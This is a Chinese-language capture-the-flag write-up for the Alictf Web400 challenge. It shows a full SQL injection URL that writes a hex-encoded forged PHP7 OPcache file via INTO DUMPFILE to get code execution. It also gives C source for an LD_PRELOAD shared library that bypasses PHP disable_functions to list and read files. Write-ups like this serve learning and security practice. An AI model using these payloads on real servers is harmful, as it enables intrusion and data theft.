Alictf-Web400 homework writeup
Category: PHP, CTF, Web
Tag: none
Written by Venenof7 with ♥ on
开始又是注入= =
随手注册一个用户,进去以后,发现可以任意上传文件,不过不能getshell,没有太大用处。在文件描述那里发现存在注入:
很友好地没有多少过滤。然后走坑之旅开始。发现利用outfile这些可以写东西,但是也没有太大的用处,于是,fuzz了下,发现存在info.php和phpinfo.php,info大致提示我们flag在根目录下,不用去找了,再次贴心,接着看下phpinfo,居然是php7,想起了前阵子的漏洞:传送门:利用 PHP7 的 OPcache 执行 PHP 代码。
当然这里必须要有一个上传漏洞才能去配合这个漏洞,一开始已经说了可以任意上传,当然包括php,我们知道缓存是优于其本体,而我们可以注入写文件,phpinfo也已经告诉了我们一些敏感路径,于是思路很明确了:
但是写的时候,我们会发现,如果用outfile写的话,mysql会把16进制的一些东西转换,导致面目全非,于是利用dumpfile可以很好的解决这一个问题,于是先探针下,最终payoad:
http://121.40.50.146/detail.php?
id=-1%27%20union%20select%20unhex('4F5043414348450033396230303561643737343238633
43237383831343063363833396536323031C00200000000000000000000000000000000000000000
0000000000000000000EF0D070F190D0000A80100000000000002000000000000080000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
000FFFFFFFF040000004002000000000000000000000100000000000000000000000000000000000
000000000000000000000000000000000000000000000000000A8010000000000000100000002000
0000000000000000000FFFFFFFF020000000002000000000000080000005858354F0000000000000
00000000000000000000000000000000000000000000000000000000000000000000100000007000
00012000000FEFFFFFF0000000000000000000000000000000000080000FFFFFFFF0000000000000
00020610689AC7F0000010000000700000012000000FEFFFFFF00000000000000000000000000000
00010000000FFFFFFFF0000000000000000B0590689AC7F000000000000000000000000000000000
000000000000000000001000000000000000000000000000000C0020000000000000002000000000
00000000000000000000000000000000000000000000000000000000000660DC4980000000000000
000040000000606000019C2A9A742FDC1F029000000000000002F7661722F7777772F68746D6C2F7
5706C6F61642F32303136303630353132353733372D312E706870000000000000000000000000000
000000000000000000020020000000000000600000000000000010000000000000004000000FFFFF
FFF0100000006060000F9E0F8ABB5D000800700000000000000706870696E666F00C0E10E89AC7F0
00060000000000000000000000000000000020000003D080108E0A10E89AC7F00000000000000000
0006000000000000000020000003C08080480EE0B89AC7F000060000000000000000000000000000
000020000002804080880570F89AC7F0000100000000000000000000000FFFFFFFF020000003E010
808')%20into%20dumpfile%20%27/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/w
ww/html/upload/20160605125737-1.php.bin%27--+
访问下ok:
OK,题目第一关已经成功过坑,看下disable-functions:
限制好死。。。觉得无望了。。。但是传了一句话后,不知道为什么eval可以执行:
然后找bypass的资料,在drop发现这么一个科技:
传送门利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令。然后瞬间有些懵逼地样子,so是什么玩意,作为一只web狗只看过没接触过,好在文章写得比较容易明白,根据文章的思路,就是我们可以编译so,然后利用php去访问,从而绕过php的诸多限制,也就是说我们利用c的函数去列目录读文件之类的,payload如下:
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void payload()
{
DIR* dir;
struct dirent* ptr;
dir = opendir("/");
FILE *fp;
fp=fopen("/tmp/venenoveneno","w");
while ((ptr = readdir(dir)) != NULL) {
fprintf(fp,"%s\n",ptr->d_name);
}
closedir(dir);
fflush(fp);
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
然后gcc编译成so,然后根据前面的点,我们明白了出题人的思路:
做到这里,还有题目最后一个坑,就是生成的东西没权限去读,那么怎么办,于是前面传的shell用了用处,我们可以利用copy命令,去覆盖一个我们之前上传的bin,于是直接列目录:
然后再利用loadfile读就可以了:
发现flag,然后再进行一次类似操作,利用fopen去读文件,最后成功得到flag: